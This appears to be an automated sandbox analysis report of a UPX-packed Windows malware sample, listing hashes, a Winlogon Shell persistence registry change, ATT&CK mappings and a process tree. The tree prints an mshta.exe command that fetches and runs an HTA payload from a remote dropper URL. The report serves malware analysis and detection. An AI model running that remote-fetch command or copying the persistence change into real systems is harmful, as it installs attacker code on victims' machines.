b58fb9bd6b55a360da1af08e8aa18752cbdc32525b92658376d1e3bbd5b732d3

General

Target

2b627f1870515d948d0af33071ce47f5.exe
Size

682KB
MD5

2b627f1870515d948d0af33071ce47f5
SHA1

85482e3f57f14a4ed3e8fba18da829f6137be974
SHA256

b58fb9bd6b55a360da1af08e8aa18752cbdc32525b92658376d1e3bbd5b732d3
SHA512

b71d47ec63d32374fd3757389d9f45adc42bf239beafcb534d7805c37b733e3d7343c2972874907f1a009b9660f24b43a540d474e9f9bb236cf6d76573d65ef8
SSDEEP

12288:uSJsWPOGw+qY+n5wSHwnltGmmTY4mkGHzc3HGEslGM68LulbZB7nMpGbKw:uSAn5vHewmkGHCH1slGvqul1is2w

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://rerererererere.com/inst.php?id=forbidden

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

z.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe"	z.exe

Executes dropped EXE 1 IoCs

Processes:

z.exe

pid process

2112 z.exe
Loads dropped DLL 3 IoCs

Processes:

2b627f1870515d948d0af33071ce47f5.exez.exe

pid process

2228 2b627f1870515d948d0af33071ce47f5.exe
2228 2b627f1870515d948d0af33071ce47f5.exe
2112 z.exe

pid	process
2228	2b627f1870515d948d0af33071ce47f5.exe
2228	2b627f1870515d948d0af33071ce47f5.exe
2112	z.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2228-0-0x0000000000400000-0x0000000000502000-memory.dmp	upx
\Users\Admin\AppData\Roaming\z.exe	upx
behavioral1/memory/2228-18-0x00000000031C0000-0x00000000035BC000-memory.dmp	upx
behavioral1/memory/2228-17-0x0000000000400000-0x0000000000502000-memory.dmp	upx
behavioral1/memory/2112-19-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral1/memory/2112-25-0x0000000003BB0000-0x0000000003BC0000-memory.dmp	upx
behavioral1/memory/2112-36-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral1/memory/2112-37-0x0000000000400000-0x00000000007FC000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

z.exe

pid	process
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe
2112	z.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

z.exe

pid process

2112 z.exe
2112 z.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

2b627f1870515d948d0af33071ce47f5.exez.exe

description	pid	process	target process
PID 2228 wrote to memory of 2112	2228	2b627f1870515d948d0af33071ce47f5.exe	z.exe
PID 2228 wrote to memory of 2112	2228	2b627f1870515d948d0af33071ce47f5.exe	z.exe
PID 2228 wrote to memory of 2112	2228	2b627f1870515d948d0af33071ce47f5.exe	z.exe
PID 2228 wrote to memory of 2112	2228	2b627f1870515d948d0af33071ce47f5.exe	z.exe
PID 2112 wrote to memory of 2728	2112	z.exe	mshta.exe
PID 2112 wrote to memory of 2728	2112	z.exe	mshta.exe
PID 2112 wrote to memory of 2728	2112	z.exe	mshta.exe
PID 2112 wrote to memory of 2728	2112	z.exe	mshta.exe
PID 2112 wrote to memory of 2852	2112	z.exe	cmd.exe
PID 2112 wrote to memory of 2852	2112	z.exe	cmd.exe
PID 2112 wrote to memory of 2852	2112	z.exe	cmd.exe
PID 2112 wrote to memory of 2852	2112	z.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\2b627f1870515d948d0af33071ce47f5.exe
"C:\Users\Admin\AppData\Local\Temp\2b627f1870515d948d0af33071ce47f5.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2228

C:\Users\Admin\AppData\Roaming\z.exe
"C:\Users\Admin\AppData\Roaming\z.exe" forbidden
2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
3⤵
- Modifies Internet Explorer settings
PID:2728

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "
3⤵
PID:2852

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat
Filesize
167B

MD5
e5a2cf708be039ebe72233673c1f2ac7

SHA1
cca4b5f8c08e07779f4eddd7e3c960d7f68078f8

SHA256
1f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c

SHA512
0d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645

Download Submit
\Users\Admin\AppData\Roaming\z.exe
Filesize
472KB

MD5
fc0354f3c145dea029ffb866fc33c965

SHA1
18af2c23e3e7c29a9aa7ba7dd4bf43670a2bf6d8

SHA256
4f2f6262d69f83d872a5b09a68688775d4c01fb56513b6ad054a15d94b5901a1

SHA512
09953aa301f53706a9bb30f4cc5c208aaf79917f0081b5ecc7ae2d747a2f6dd75fcc40265d2b04955e5c8ee6a9083a6f4d1725024aed0d1044439da3579092ec

Download Submit
memory/2112-36-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2112-19-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2112-20-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2112-25-0x0000000003BB0000-0x0000000003BC0000-memory.dmp

Filesize
64KB

Download
memory/2112-37-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2112-38-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2112-39-0x0000000003BB0000-0x0000000003BC0000-memory.dmp

Filesize
64KB

Download
memory/2228-18-0x00000000031C0000-0x00000000035BC000-memory.dmp

Filesize
4.0MB

Download
memory/2228-17-0x0000000000400000-0x0000000000502000-memory.dmp

Filesize
1.0MB

Download
memory/2228-1-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/2228-0-0x0000000000400000-0x0000000000502000-memory.dmp

Filesize
1.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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